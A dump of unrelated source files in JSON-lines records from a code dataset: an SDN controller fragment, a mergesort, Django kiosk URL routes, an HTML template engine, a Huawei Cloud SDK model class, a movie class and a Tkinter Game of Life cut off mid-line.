\"\"\"\n\n print(\" \\t\" + \"Current Links:\")\n for l in self.topo_raw_links:\n print (\" \\t\\t\" + str(l))\n\n print(\" \\t\" + \"Current Switches:\")\n for s in self.topo_raw_switches:\n print (\" \\t\\t\" + str(s))\n\n \"\"\"\n This event is fired when a switch leaves the topo. i.e. fails.\n \"\"\"\n @set_ev_cls(event.EventSwitchLeave, [MAIN_DISPATCHER, CONFIG_DISPATCHER, DEAD_DISPATCHER])\n def handler_switch_leave(self, ev):\n self.logger.info(\"Not tracking Switches, switch leaved.\")\n\n''' \n","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":32557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"546160968","text":"def mergesort(arr, l, r):\n if l < r:\n mid = int(l + (r - l) // 2)\n\n mergesort(arr, l, mid)\n mergesort(arr, mid + 1, r)\n\n merge(arr, l, r, mid)\n\ndef merge(arr, l, r, mid):\n left_arr = [arr[x] for x in range(l, mid)]\n right_arr = [arr[x] for x in range(mid, r+1)]\n\n i, j, k = 0, 0, 0\n\n while i < len(left_arr) and j < len(right_arr):\n if left_arr[i] < right_arr[j]:\n arr[k] = left_arr[i]\n i += 1\n else:\n arr[k] = right_arr[j]\n j += 1\n k += 1\n \n while i < len(left_arr):\n arr[k] = left_arr[i]\n i += 1\n k += 1\n while j < len(right_arr):\n arr[k] = right_arr[j]\n j += 1\n k += 1\n\n\na = [1,52,7,5,0,2,4]\nprint(a)\nmergesort(a, 0, 6)\nprint(a)","sub_path":"Custom/python/algorithms/sorts/mergesort.py","file_name":"mergesort.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"486046974","text":"from django.urls import path, re_path, include\nfrom . import views\n\nurlpatterns = [\n # KIOSK AGENCY LEVEL\n # 가맹점 정보 보기 GET : /api/agency/'가맹점 ID'\n # 가맹점 장비 보기 GET : /api/agency/device/all/'가맹점 ID'?type=0\n # | type 모델 정보\n # | type = models.IntegerField(\n # | verbose_name='타입',\n # | choices=(\n # | (0, '세탁기'),\n # | (1, '건조기'),\n # | (2, '트롬스타일러')\n # | (3, '세탁용품')\n # | ))\n # 가맹점 장비 - 코스 보기 GET : /api/course_info/agency/'가맹점 장비 ID(가맹점 장비 보기 object id'\n # 기타 장비의 Course 정보 확인 하기 : 고정 코스 장비가 있는듯 함. (업체 확인해보고 적용)\n\n\n # KIOSK -- polling API\n # 원격으로 코인신호보내기(제거) < 너무 위험\n # 냉난방기 ON/OFF API :\n # 서비스 점검 팝업 API :\n # 광고이미지 API :\n # 경고 방송 정보 API :\n # PC 재부팅 API : 가능?\n # 프로그램 재시작 : 필요한가?\n\n\n # KIOSK LOG : 확정 아님 추후 유지보수용으로 쓸까 말까 고민중\n # 코인 보낸 횟수 LOG POST : /api/wafos/log/coin/\n # 지폐인식기 받을때 마다 LOG POST : /api/wafos/log/money/\n\n # KIOSK USER LEVEL\n path('login', views.MemberLogin.as_view(), name='회원 로그인'),\n path('signup', views.MemberSignUp.as_view(), name='회원 가입'),\n path('init-check', views.AgencyInitCheck.as_view(), name='초기 확인'),\n path('point', views.AgencyPointInfo.as_view(), name=\"agency-point-info\"),\n path('agency-account/',\n views.AgencyAccountDetail.as_view(), name='가맹점 계정 상세 정보'),\n path('agency-devices', views.AgencyDeviceInfoAllList.as_view(),\n name='agency-device-info-all-list'),\n path('agency-courses', views.AgencyCourseList.as_view(),\n name='agency-course-list'),\n # 결제 정보 전송\n # 지폐,카드 입력 전송\n path('payment', views.AgencyPayment.as_view(), name='회원 가입'),\n\n # 경고 방송\n path('alert', views.AlertInfoViews.as_view(), name='회원 가입'),\n path('tubelink', views.TubeLinkViews.as_view(), name='튜브링크'),\n path('payment-member/', views.AgencyMemberPayment.as_view(),\n name=\"Payment-detail\")\n]\n","sub_path":"admin-server/wafos/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"390857594","text":"import os\n\nfrom server_configs import configs as server_configs\nfrom site_configs.components import components\nimport repo\n\nJS_TAG_TEMPLATE = \"\"\nCSS_TAG_TEMPLATE = \"\"\n\ndef _get_insertion_indices(text, open_tag, close_tag):\n '''Returns the indices of the open and close\n tags within the text string provided.\n If either is not found, None will be returned.\n \n Note:\n ...\n \n Example:\n ...\n \n Args:\n text (string): The text to search for the open and\n close tags.\n open_tag (string): The open tag to search for.\n close_tag (string): The close tag to search for.\n \n Returns:\n A tuple (start_index, end_index) of both markers\n are found. None, if either marker is not found.\n \n Raises:\n ...\n \n '''\n # Try grab the indices;\n start_index = text.find(open_tag, 0)\n end_index = text.find(close_tag, start_index)\n # If the tags were found;\n if not start_index == -1 and not end_index == -1:\n return (start_index, end_index)\n else:\n return None\ndef _splice_text_at_indices(main_text, text_to_insert, \\\n indices):\n '''Splices text_to_insert into main_text, over the\n characters at the positions described by the indices\n arg.\n \n Note:\n ...\n \n Example:\n ...\n \n Args:\n main_text (string): Main text into which\n text_to_insert will be spliced.\n text_to_insert (string): The text which will\n be spliced into main_text.\n indices (tuple): A tuple like (i_start, i_end)\n describing where the text should be inserted.\n \n Returns:\n The main text, as a string, with the text_to_insert\n string spiced in.\n \n Raises:\n ...\n \n '''\n return main_text[:indices[0]]+ \\\n text_to_insert+ \\\n main_text[indices[1]+ \\\n len(server_configs[\"template_markers\"][\"open\"]):]\ndef _get_component_code(component_name, ext):\n '''Returns the component code from inside the component\n file with the specified extension.\n \n Note:\n ...\n \n Example:\n ...\n \n Args:\n component_name (string): The name of the component.\n ext (string): The extension of the component. Can\n be specified with our without a dot.\n \n Returns:\n The code from inside the specified component file.\n \n Raises:\n ...\n \n '''\n filepath = '/{}{}.{}'.format(\n components[component_name][\"path\"], \n component_name, ext)\n return repo.fetch_plaintext_resource(filepath)\ndef _write_merged_component_file(ext):\n '''Creates a single merged file containing\n the code from each component file, with the\n specified ext (if the component has a file\n of this type registered.)\n \n Note:\n ...\n \n Example:\n components_js = _write_merged_component_file('.js')\n \n Args:\n ext (string): The extension of the filetype to be\n collected. Can be specified with our without\n a dot.\n \n Returns:\n ...\n \n Raises:\n ...\n \n '''\n # Strip any dots from the ext arg;\n ext = ext.replace('.', '')\n # Create variable to compile content;\n content = ''\n # For each registered component;\n for component_name in components.keys():\n # If the component includes a file of the specified\n # ext type;\n if ext in components[component_name][\"includes\"]:\n # Add the contents of the file with the\n # specified extension;\n content = content+_get_component_code(\n component_name, ext)\n # Create (or overwrite) the merged file:\n with open('{}/{}.{}'.format(\n server_configs[\"site_root_dir\"],\n server_configs[\"src_merge_filename\"],\n '{}'.format(ext)), 'w+') as fh:\n # Write the contents to file;\n fh.write(content)\ndef _insert_component_refs_into_header(root_html, tag_template, ext):\n '''Adds references (such as the script tags) into\n root_html file.\n \n Note:\n ...\n \n Example:\n content = _insert_component_refs_into_root_html(\n content, JS_TAG_TEMPLATE\n )\n \n Args:\n root_html (string): A string containing the root\n .html for the app.\n tag_template (string): A string containing the\n element to insert into the html, with {}'s for\n the 3 variable elements (path, name and ext):\n \n ext (string): The extension of the component files\n to be inserted. Can be provided with or without\n dot.\n \n Returns:\n A string containing the root .html for the app,\n with the component files inserted into the header.\n \n Raises:\n ...\n \n '''\n # Strip any points from the .ext;\n ext = ext.replace('.', '')\n # Create var to store the tags;\n tags = \"\"\n # Cycle through each registered component.\n for component_name in components.keys():\n # If this component has an extension of the\n # requested type; \n if ext in components[component_name][\"includes\"]:\n # Build the path (without ext - template\n # contains the .ext)\n path = '{}{}'.format(\n components[component_name][\"path\"],\n component_name,\n )\n # Build the tag to insert;\n tag = tag_template.format(path)\n tags = tags+\"\\n\\t\"+tag\n # Add the tags into the insertion positon.\n return _append_to_element(root_html, tags, \"\")\ndef _append_to_element(html, text, closing_tag):\n '''Inserts the text into the foot of the element\n specified by the closing tag.Raises and exception if \n the closing tag isnt found.\n \n Note:\n ...\n \n Example:\n ...\n \n Args:\n html (string): The HTML code into which the text \n will be inserted.\n text (string): The text to insert.\n closing_tag (string): The closing tag of the element\n to append the text into.\n \n Returns:\n The HTML, with the text inserted into the foot\n of the specified element.\n \n Raises:\n ValueError: If the closing tag is not found.\n \n '''\n # Grab the position of the closing header tag;\n insert_pos = html.find(closing_tag) \n # Raise an error if it isn't there;\n if insert_pos == -1:\n raise ValueError('The closing closing tag \"{}\" was not found in the HTML.'.format(closing_tag)) \n # Add the text at the insertion position;\n html = html[:insert_pos]+\"\\n\"+text+html[insert_pos:]\n return html \ndef _insert_component_html(content):\n # Look for the marker indices;\n marker_indices = _get_insertion_indices(\n content,\n server_configs[\"template_markers\"][\"open\"],\n server_configs[\"template_markers\"][\"close\"]\n )\n # If a pair of markers were found;\n if not marker_indices == None:\n # Grab the template name;\n template_string = content[marker_indices[0]+ \\\n len(server_configs[\"template_markers\"][\"open\"]) \\\n :marker_indices[1]]\n template_name = template_string.split('?')[0]\n # Grab the .html for that template;\n html_path = \"/{}{}.html\".format(\n components[template_name][\"path\"],\n template_name)\n template_text = repo.fetch_plaintext_resource(\n html_path)\n # If the template came with arguments;\n if len(template_string.split('?')) > 1:\n # Stash them in template_args;\n template_args = template_string.split('?')[1]\n # Cycle through each one;\n for arg in template_args.split('&'):\n key,value = arg.split('=')\n template_text = template_text.replace('{}{}{}'.format(\n server_configs[\"template_arg_markers\"][\"open\"],\n key,\n server_configs[\"template_arg_markers\"][\"close\"]\n ), value) \n # Insert the .html into the content;\n content = _splice_text_at_indices(\n content, \n template_text, \n marker_indices)\n # Check for the next set of indices;\n marker_indices = _get_insertion_indices(\n content,\n server_configs[\"template_markers\"][\"open\"],\n server_configs[\"template_markers\"][\"close\"] \n )\n # If some were found;\n if not marker_indices == None:\n # Recursively call template engine;\n content = _insert_component_html(content)\n # Return the content;\n return content\n\ndef run_templating(content, request):\n '''Executes the templating algorithm over the content.\n \n Note:\n ...\n \n Example:\n ...\n \n Args:\n content (string): The text content over which the\n templating algorithm should run.\n \n Returns:\n The content as a string, with templating complete.\n \n Raises:\n ...\n \n '''\n # First up, replace any component markers with their\n # corresponding .html code;\n if request.ext == '.html' or request.ext == '.js':\n content = _insert_component_html(content)\n # If we are dealing with the app root .html page;\n if request.filename == server_configs[\"app_root_name\"] \\\n and request.ext == '.html':\n # If we are in dev mode;\n if server_configs[\"dev_mode\"] == True: \n # Insert the references to all src files into\n # the root html;\n content = _insert_component_refs_into_header(\n content, JS_TAG_TEMPLATE, '.js'\n )\n content = _insert_component_refs_into_header(\n content, CSS_TAG_TEMPLATE, '.css'\n ) \n # If we are not in dev mode;\n else:\n # Insert the reference to the merged file\n # into the root html. \n merged_js_ref = JS_TAG_TEMPLATE.format(\n server_configs['src_merge_filename']\n )\n merged_css_ref = CSS_TAG_TEMPLATE.format(\n server_configs['src_merge_filename']\n )\n refs = [merged_css_ref, merged_js_ref]\n for ref in refs: \n content = _append_to_element(content, ref, \"\") \n # In any case, insert the references to the app src\n # files into the root html;\n root_templates = [JS_TAG_TEMPLATE, CSS_TAG_TEMPLATE]\n for template in root_templates:\n root_ref_path = '{}{}'.format(\n server_configs[\"app_root_dir\"],\n server_configs[\"app_root_name\"]\n )\n root_tag = template.format(root_ref_path)\n content = _append_to_element(content, root_tag, \"\")\n # And return the content; \n return content","sub_path":"template_engine.py","file_name":"template_engine.py","file_ext":"py","file_size_in_byte":11009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"307077754","text":"# coding: utf-8\n\nimport six\n\nfrom huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization\n\n\nclass PluginApiAttachInfo:\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n sensitive_list = []\n\n openapi_types = {\n 'plugin_attach_id': 'str',\n 'plugin_id': 'str',\n 'plugin_name': 'str',\n 'plugin_type': 'str',\n 'plugin_scope': 'str',\n 'env_id': 'str',\n 'env_name': 'str',\n 'api_id': 'str',\n 'api_name': 'str',\n 'attached_time': 'datetime'\n }\n\n attribute_map = {\n 'plugin_attach_id': 'plugin_attach_id',\n 'plugin_id': 'plugin_id',\n 'plugin_name': 'plugin_name',\n 'plugin_type': 'plugin_type',\n 'plugin_scope': 'plugin_scope',\n 'env_id': 'env_id',\n 'env_name': 'env_name',\n 'api_id': 'api_id',\n 'api_name': 'api_name',\n 'attached_time': 'attached_time'\n }\n\n def __init__(self, plugin_attach_id=None, plugin_id=None, plugin_name=None, plugin_type=None, plugin_scope=None, env_id=None, env_name=None, api_id=None, api_name=None, attached_time=None):\n \"\"\"PluginApiAttachInfo\n\n The model defined in huaweicloud sdk\n\n :param plugin_attach_id: 插件绑定编码。\n :type plugin_attach_id: str\n :param plugin_id: 插件编码。\n :type plugin_id: str\n :param plugin_name: 插件名称。支持汉字,英文,数字,中划线,下划线,且只能以英文和汉字开头,3-255字符 > 中文字符必须为UTF-8或者unicode编码。\n :type plugin_name: str\n :param plugin_type: 插件类型 - cors:跨域资源共享 - set_resp_headers:HTTP响应头管理 - kafka_log:Kafka日志推送 - breaker:断路器 - rate_limit: 流量控制 - third_auth: 第三方认证\n :type plugin_type: str\n :param plugin_scope: 插件可见范围。global:全局可见。\n :type plugin_scope: str\n :param env_id: 绑定API的环境编码。\n :type env_id: str\n :param env_name: api授权绑定的环境名称\n :type env_name: str\n :param api_id: 绑定的API编码。\n :type api_id: str\n :param api_name: API的名称\n :type api_name: str\n :param attached_time: 绑定时间。\n :type attached_time: datetime\n \"\"\"\n \n \n\n self._plugin_attach_id = None\n self._plugin_id = None\n self._plugin_name = None\n self._plugin_type = None\n self._plugin_scope = None\n self._env_id = None\n self._env_name = None\n self._api_id = None\n self._api_name = None\n self._attached_time = None\n self.discriminator = None\n\n if plugin_attach_id is not None:\n self.plugin_attach_id = plugin_attach_id\n if plugin_id is not None:\n self.plugin_id = plugin_id\n if plugin_name is not None:\n self.plugin_name = plugin_name\n if plugin_type is not None:\n self.plugin_type = plugin_type\n if plugin_scope is not None:\n self.plugin_scope = plugin_scope\n if env_id is not None:\n self.env_id = env_id\n if env_name is not None:\n self.env_name = env_name\n if api_id is not None:\n self.api_id = api_id\n if api_name is not None:\n self.api_name = api_name\n if attached_time is not None:\n self.attached_time = attached_time\n\n @property\n def plugin_attach_id(self):\n \"\"\"Gets the plugin_attach_id of this PluginApiAttachInfo.\n\n 插件绑定编码。\n\n :return: The plugin_attach_id of this PluginApiAttachInfo.\n :rtype: str\n \"\"\"\n return self._plugin_attach_id\n\n @plugin_attach_id.setter\n def plugin_attach_id(self, plugin_attach_id):\n \"\"\"Sets the plugin_attach_id of this PluginApiAttachInfo.\n\n 插件绑定编码。\n\n :param plugin_attach_id: The plugin_attach_id of this PluginApiAttachInfo.\n :type plugin_attach_id: str\n \"\"\"\n self._plugin_attach_id = plugin_attach_id\n\n @property\n def plugin_id(self):\n \"\"\"Gets the plugin_id of this PluginApiAttachInfo.\n\n 插件编码。\n\n :return: The plugin_id of this PluginApiAttachInfo.\n :rtype: str\n \"\"\"\n return self._plugin_id\n\n @plugin_id.setter\n def plugin_id(self, plugin_id):\n \"\"\"Sets the plugin_id of this PluginApiAttachInfo.\n\n 插件编码。\n\n :param plugin_id: The plugin_id of this PluginApiAttachInfo.\n :type plugin_id: str\n \"\"\"\n self._plugin_id = plugin_id\n\n @property\n def plugin_name(self):\n \"\"\"Gets the plugin_name of this PluginApiAttachInfo.\n\n 插件名称。支持汉字,英文,数字,中划线,下划线,且只能以英文和汉字开头,3-255字符 > 中文字符必须为UTF-8或者unicode编码。\n\n :return: The plugin_name of this PluginApiAttachInfo.\n :rtype: str\n \"\"\"\n return self._plugin_name\n\n @plugin_name.setter\n def plugin_name(self, plugin_name):\n \"\"\"Sets the plugin_name of this PluginApiAttachInfo.\n\n 插件名称。支持汉字,英文,数字,中划线,下划线,且只能以英文和汉字开头,3-255字符 > 中文字符必须为UTF-8或者unicode编码。\n\n :param plugin_name: The plugin_name of this PluginApiAttachInfo.\n :type plugin_name: str\n \"\"\"\n self._plugin_name = plugin_name\n\n @property\n def plugin_type(self):\n \"\"\"Gets the plugin_type of this PluginApiAttachInfo.\n\n 插件类型 - cors:跨域资源共享 - set_resp_headers:HTTP响应头管理 - kafka_log:Kafka日志推送 - breaker:断路器 - rate_limit: 流量控制 - third_auth: 第三方认证\n\n :return: The plugin_type of this PluginApiAttachInfo.\n :rtype: str\n \"\"\"\n return self._plugin_type\n\n @plugin_type.setter\n def plugin_type(self, plugin_type):\n \"\"\"Sets the plugin_type of this PluginApiAttachInfo.\n\n 插件类型 - cors:跨域资源共享 - set_resp_headers:HTTP响应头管理 - kafka_log:Kafka日志推送 - breaker:断路器 - rate_limit: 流量控制 - third_auth: 第三方认证\n\n :param plugin_type: The plugin_type of this PluginApiAttachInfo.\n :type plugin_type: str\n \"\"\"\n self._plugin_type = plugin_type\n\n @property\n def plugin_scope(self):\n \"\"\"Gets the plugin_scope of this PluginApiAttachInfo.\n\n 插件可见范围。global:全局可见。\n\n :return: The plugin_scope of this PluginApiAttachInfo.\n :rtype: str\n \"\"\"\n return self._plugin_scope\n\n @plugin_scope.setter\n def plugin_scope(self, plugin_scope):\n \"\"\"Sets the plugin_scope of this PluginApiAttachInfo.\n\n 插件可见范围。global:全局可见。\n\n :param plugin_scope: The plugin_scope of this PluginApiAttachInfo.\n :type plugin_scope: str\n \"\"\"\n self._plugin_scope = plugin_scope\n\n @property\n def env_id(self):\n \"\"\"Gets the env_id of this PluginApiAttachInfo.\n\n 绑定API的环境编码。\n\n :return: The env_id of this PluginApiAttachInfo.\n :rtype: str\n \"\"\"\n return self._env_id\n\n @env_id.setter\n def env_id(self, env_id):\n \"\"\"Sets the env_id of this PluginApiAttachInfo.\n\n 绑定API的环境编码。\n\n :param env_id: The env_id of this PluginApiAttachInfo.\n :type env_id: str\n \"\"\"\n self._env_id = env_id\n\n @property\n def env_name(self):\n \"\"\"Gets the env_name of this PluginApiAttachInfo.\n\n api授权绑定的环境名称\n\n :return: The env_name of this PluginApiAttachInfo.\n :rtype: str\n \"\"\"\n return self._env_name\n\n @env_name.setter\n def env_name(self, env_name):\n \"\"\"Sets the env_name of this PluginApiAttachInfo.\n\n api授权绑定的环境名称\n\n :param env_name: The env_name of this PluginApiAttachInfo.\n :type env_name: str\n \"\"\"\n self._env_name = env_name\n\n @property\n def api_id(self):\n \"\"\"Gets the api_id of this PluginApiAttachInfo.\n\n 绑定的API编码。\n\n :return: The api_id of this PluginApiAttachInfo.\n :rtype: str\n \"\"\"\n return self._api_id\n\n @api_id.setter\n def api_id(self, api_id):\n \"\"\"Sets the api_id of this PluginApiAttachInfo.\n\n 绑定的API编码。\n\n :param api_id: The api_id of this PluginApiAttachInfo.\n :type api_id: str\n \"\"\"\n self._api_id = api_id\n\n @property\n def api_name(self):\n \"\"\"Gets the api_name of this PluginApiAttachInfo.\n\n API的名称\n\n :return: The api_name of this PluginApiAttachInfo.\n :rtype: str\n \"\"\"\n return self._api_name\n\n @api_name.setter\n def api_name(self, api_name):\n \"\"\"Sets the api_name of this PluginApiAttachInfo.\n\n API的名称\n\n :param api_name: The api_name of this PluginApiAttachInfo.\n :type api_name: str\n \"\"\"\n self._api_name = api_name\n\n @property\n def attached_time(self):\n \"\"\"Gets the attached_time of this PluginApiAttachInfo.\n\n 绑定时间。\n\n :return: The attached_time of this PluginApiAttachInfo.\n :rtype: datetime\n \"\"\"\n return self._attached_time\n\n @attached_time.setter\n def attached_time(self, attached_time):\n \"\"\"Sets the attached_time of this PluginApiAttachInfo.\n\n 绑定时间。\n\n :param attached_time: The attached_time of this PluginApiAttachInfo.\n :type attached_time: datetime\n \"\"\"\n self._attached_time = attached_time\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.openapi_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n if attr in self.sensitive_list:\n result[attr] = \"****\"\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n import simplejson as json\n if six.PY2:\n import sys\n reload(sys)\n sys.setdefaultencoding(\"utf-8\")\n return json.dumps(sanitize_for_serialization(self), ensure_ascii=False)\n\n def __repr__(self):\n \"\"\"For `print`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, PluginApiAttachInfo):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","sub_path":"huaweicloud-sdk-apig/huaweicloudsdkapig/v2/model/plugin_api_attach_info.py","file_name":"plugin_api_attach_info.py","file_ext":"py","file_size_in_byte":11672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"169118974","text":"# -*- coding: utf-8 -*-\nfrom video import Video\n\n\nclass Movies(Video):\n '''Main class as template to create new movies'''\n if __name__ == \"__main__\":\n print(\"This shouldn´t be run as main program \"\n \"please use the entertainment_center.py file\")\n\n def __init__(\n self, title, durration, storyline,\n poster_image_url, trailer_youtube_url):\n '''\n :param title: string\n :param durration: string\n :param storyline: string\n :param poster_image_url: string\n :param trailer_youtube_url: string\n '''\n Video.__init__(self, title, durration)\n self.storyline = storyline\n self.poster_image_url = poster_image_url\n self.trailer_youtube_url = trailer_youtube_url\n","sub_path":"media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"238205589","text":"\"\"\"\nThe universe of the Game of Life is an infinite two-dimensional orthogonal grid of square cells, each of which is in one of two possible states, alive or dead, or \"populated\" or \"unpopulated\".\nEvery cell interacts with its eight neighbours, which are the cells that are horizontally, vertically, or diagonally adjacent.\n\nAt each step in time, the following transitions occur:\n******************************************************************************************************\n 1. Any live cell with fewer than two live neighbours dies, as if caused by underpopulation.\n 2. Any live cell with two or three live neighbours lives on to the next generation.\n 3. Any live cell with more than three live neighbours dies, as if by overpopulation.\n 4. Any dead cell with exactly three live neighbours becomes a live cell, as if by reproduction.\n*******************************************************************************************************\n\nThe initial pattern constitutes the seed of the system.\n\nThe first generation is created by applying the above rules simultaneously to every cell in the seed—births and deaths occur simultaneously,\nand the discrete moment at which this happens is sometimes called a tick (in other words, each generation is a pure function of the preceding one).\n\nThe rules continue to be applied repeatedly to create further generations.\n\"\"\"\n\nimport tkinter as tk\nimport random\n\n\nclass Square:\n \"\"\"\n A cell which can either be off or on.\n This cell is the representation of a civilisation or a person.\n Is a spot on a grid.\n \n :ivar tuple coords: The coordinates of the square. (Needs x, y attributes)\n :ivar int length: The length of the window\n :ivar bool state: The state of the square (On or Off)\n :ivar string active_col: The colour to be displayed if the square is on\n :ivar string inactive_col: The colour to be displayed if the square is off\n \"\"\"\n\n def __init__(self, coords, length, size, state=False, active_col='black', inactive_col='white'):\n\n self.length = length # Size of map\n self.coords = coords # Top left corner\n self.size = size # Length of one side\n self.state = state # Alive or dead\n self.active_colour = active_col # Colour if alive\n self.inactive_colour = inactive_col # Colour if dead\n\n def rect(self):\n \"\"\"\n Gives the bottom right values of the square\n \n :return: (x+size, y+size)\n :rtype: tuple\n \"\"\"\n return (self.coords[0]+self.size, self.coords[1]+self.size)\n\n def inbounds_square(self, coord):\n \"\"\"\n Deprecated function.\n \n Returns if a coordinate is within the square. \n \n :param tuple coord: The coordinate of the point to test whether it is within the square. \n :return: Whether the given coordinate is within the square\n :rtype: bool\n \"\"\"\n\n (x, y) = coord\n (t_l_x, t_l_y) = self.coords\n (b_l_x, b_l_y) = self.rect()\n\n return (t_l_x < x < b_l_x) and (t_l_y < y < b_l_y)\n\n def _inbounds_map(self, coord):\n \"\"\"\n Test whether a point is within the map.\n \n :param Entity coord: The coordinate to test. (Needs x, y attributes)\n \n :return: True if square in map False if square outside of map\n :rtype: bool\n \"\"\"\n (x, y) = coord\n\n # Checks if x value is >= 0 and if the right side of the square is not off the board as x value is top left\n # Checks if y value is >= 0 and if the bottom side of the square is not off the board as y value is top left\n return (0 <= x <= self.length-self.size) and (0 <= y <= self.length-self.size)\n\n def neighbours(self):\n \"\"\"\n Neighbours around the square within the map.\n \n :return: Neighbour coordinates which are within the map\n :rtype: list\n \"\"\"\n\n (x, y) = self.coords\n # filter(func, iterable) loops over each value and keeps the value if the function called per value is true.\n #  I convert back to list as filter object isn't easy to deal with in my program\n # Each item in the list is dictated by the current x or y +/- size.\n return list(filter(self._inbounds_map,\n [(x-self.size, y+self.size), (x, y+self.size), (x+self.size, y+self.size),\n (x-self.size, y), (x+self.size, y),\n (x-self.size, y-self.size), (x, y-self.size), (x+self.size, y-self.size)]\n )\n )\n\n def get_colour(self):\n \"\"\"\n Returns the colour that should be displayed for the square\n \n :return: active_colour if alive else inactive_colour\n :rtype: string\n \"\"\"\n\n return self.active_colour if self.state else self.inactive_colour\n\n def rules(self, squares_dict):\n \"\"\"\n Alters the Square due to rules of the game.\n \"\"\"\n alive_neighbours = 0\n # Looping through each neighbouring square\n for n in self.neighbours():\n #  Getting the object from the dictionary of objects\n neighbour = squares_dict[n]\n # If the neighbour is alive\n if neighbour.state:\n # Increment the counter of alive neighbours\n alive_neighbours += 1\n\n # If the square is alive\n if self.state:\n # RULE 1.\n if alive_neighbours < 2:\n # Kill the square\n self.state = False\n # RULE 3.\n elif alive_neighbours > 3:\n # Kill the square\n self.state = False\n # RULE 2.\n else:\n #  Keep it alive\n pass\n\n # If the square isn't alive\n else:\n # RULE 4.\n if alive_neighbours == 3:\n # Bring the square to life\n self.state = True\n\n\nclass Grid:\n \"\"\"\n The grid for which all squares lie upon. Squares are created, destroyed and manipulated within this class\n \n :ivar int length: The length of the side of the map\n :ivar int size: The size of the side of each square\n :ivar float tolerance: The minimum for a random float to be to set a square to alive\n :ivar string active_col: The colour set for an active square\n :ivar string inactive_col: The colour set for an inactive square\n \"\"\"\n\n def __init__(self, length, size, tolerance, active_col='black', inactive_col='white'):\n\n self.length = length\n self.tolerance = tolerance\n self.active_col = active_col\n self.inactive_col = inactive_col\n self.square_size = size\n\n self.squares = self.make_squares(self.square_size)\n\n def make_squares(self, size):\n \"\"\"\n Creates a dictionary of squares, setting them on or off. The state is determined by self.tolerance.\n\n :param int size: The size to make each square. Passes into the Square object\n \n :return: dictionary of {coordinates: Square} so as to speed up search for each square later on\n :rtype: dict\n \"\"\"\n\n squares = {}\n # (Rows) Loop through the 'length' in steps of 'size' (so as to get the right top left corner each time)\n for y in range(0, self.length, size):\n # (Cells) Loop through the 'length' in steps of 'size' (so as to get the right top left corner each time)\n for x in range(0, self.length, size):\n squares[(x, y)] = Square((x, y),\n self.length,\n size,\n active_col=self.active_col,\n inactive_col=self.inactive_col)\n\n return squares\n\n def _set_squares(self, on_coordinates):\n \"\"\"\n Sets squares to on or off. Need to run after __init__ has run so as to not run into any errors.\n Not used\n \n :param list on_coordinates: A list of coordinates to set on. \n \"\"\"\n # Loops through the dictionary of squares\n for coord, square in self.squares:\n # If the square is in the list of coordinates\n if coord in on_coordinates:\n # Square is alive\n square.state = True\n\n def enforce_rules(self):\n \"\"\"\n Enforces the rules in each square.\n \"\"\"\n\n for coords, square in self.squares.items():\n square.rules(self.squares)\n\n\nclass App:\n \"\"\"\n Essentially the main function of the script. Creates a tkinter window and displays the images.\n \n :ivar int length: The length of the window\n :ivar int size: The size of each square. NEEDS TO BE A FACTOR OF LENGTH.\n :ivar float tolerance: The random float minimum to set a square to active\n :ivar int refresh_speed: (Millisecs) The speed at which to refresh the screen: Fast pc for speeds < 100\n :ivar string active_col: The colour set for active squares\n :ivar string inactive_col: The colour set for inactive squares\n \"\"\"\n\n def __init__(self, length, size, tolerance=0.8, refresh_speed=50, active_col='#3380FF', inactive_col='#FF33FF'):\n\n self.length = length\n self.size = size\n self.tolerance = tolerance\n self.refresh_speed = refresh_speed\n self.started = False # To stop start button being pressed multiple times\n self.generation = 0 # To show the generation\n\n # If the size of the boxes isn't a factor of the window size\n if not self.length % self.size == 0:\n # The boxes don't fit evenly.\n raise Exception(\"The squares don't fit evenly on the screen.\" +\n \" Box size needs to be a factor of window size.\")\n\n self.grid = Grid(self.length, self.size, tolerance, active_col=active_col, inactive_col=inactive_col)\n\n self.root = tk.Tk()\n self.root.title(\"Aditya's: Conway's Game of Life\")\n\n # You can drag the mouse over the grid\n self.root.bind(\"\", self.on_mouse_click)\n # And click\n self.root.bind(\"\", self.on_mouse_click)\n\n # Create the canvas\n self.canvas_frame = tk.Frame(self.root).grid(row=0, column=0, rowspan=4)\n self.canvas = tk.Canvas(self.canvas_frame, height=self.length, width=self.length)\n self.canvas.grid(row=0, column=0, rowspan=4)\n\n # Generation label\n self.text_frame = tk.Frame(self.root).grid(row=0, column=1)\n self.generation_label = tk.Label(self.text_frame, text=(\"Gen: %d\" % self.generation))\n self.generation_label.grid(row=0, column=1, sticky='N')\n\n # All the buttons\n self.buttons_frame = tk.Frame(self.root).grid(row=1, column=1, rowspan=3)\n self.start_button = tk.Button(self.buttons_frame, text=\"Start\", command=self.start)\n self.start_button.grid(row=0, column=1, 